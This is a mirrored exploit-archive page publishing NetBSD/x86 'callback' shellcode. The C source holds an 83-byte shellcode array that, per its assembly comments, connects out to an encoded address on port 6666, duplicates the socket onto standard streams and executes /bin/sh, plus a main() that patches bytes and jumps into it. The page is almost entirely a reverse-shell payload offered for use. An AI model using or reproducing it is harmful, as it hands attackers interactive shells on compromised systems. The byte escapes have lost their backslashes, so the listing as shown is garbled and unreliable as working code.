[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : netbsd/x86 callback shellcode (port 6666) 83 bytes
# Published : 2005-11-30
# Author : p. minervini
# Previous Title : Multi-Format Shellcode Encoding Tool - Beta v2.0 (w32)
# Next Title : netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 30 bytes


/*
 *  minervini at neuralnoise dot com (c) 2005
 *  NetBSD/i386 2.0, callback shellcode (port 6666);
 */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
  "x31xc0"             // xor    %eax,%eax
  "x31xc9"		 // xor    %ecx,%ecx
  "x50"                 // push   %eax
  "x40"                 // inc    %eax
  "x50"                 // push   %eax
  "x40"                 // inc    %eax
  "x50"                 // push   %eax
  "x50"                 // push   %eax
  "xb0x61"             // mov    $0x61,%al
  "xcdx80"             // int    $0x80
  "x89xc3"             // mov    %eax,%ebx
  "x89xe2"             // mov    %esp,%edx
  "x49"                 // dec    %ecx
  "x51"                 // push   %ecx
  "x51"                 // push   %ecx
  "x41"                 // inc    %ecx
  "x68xf5xffxffxfd" // push   $0xfdfffff5
  "x68xffxfdxe5xf5" // push   $0xf5e5fdff
  "xb1x10"             // mov    $0x10,%cl
  "x51"                 // push   %ecx
  "xf6x12"             // notb   (%edx)
  "x4a"                 // dec    %edx
  "xe2xfb"             // loop   .-3
  "xf6x12"             // notb   (%edx)
  "x52"                 // push   %edx
  "x50"                 // push   %eax
  "x50"                 // push   %eax
  "xb0x62"             // mov    $0x62,%al
  "xcdx80"             // int    $0x80
  "xb1x03"             // mov    $0x3,%cl
  "x49"                 // dec    %ecx
  "x51"                 // push   %ecx
  "x41"                 // inc    %ecx
  "x53"                 // push   %ebx
  "x50"                 // push   %eax
  "xb0x5a"             // mov    $0x5a,%al
  "xcdx80"             // int    $0x80
  "xe2xf5"             // loop   .-9
  "x51"                 // push   %ecx
  "x68x2fx2fx73x68" // push   $0x68732f2f
  "x68x2fx62x69x6e" // push   $0x6e69622f
  "x89xe3"             // mov    %esp,%ebx
  "x51"                 // push   %ecx
  "x54"                 // push   %esp
  "x53"                 // push   %ebx
  "x50"                 // push   %eax
  "xb0x3b"             // mov    $0x3b,%al
  "xcdx80";            // int    $0x80

int main() {
   scode[23] = ~10;
   scode[24] = ~0;
   scode[25] = ~0;
   scode[26] = ~2;
   void (*code) () = (void *) scode;
   printf("length: %dn", strlen(scode));
   code();
   return (0);
}

// www.Syue.com [2005-11-30]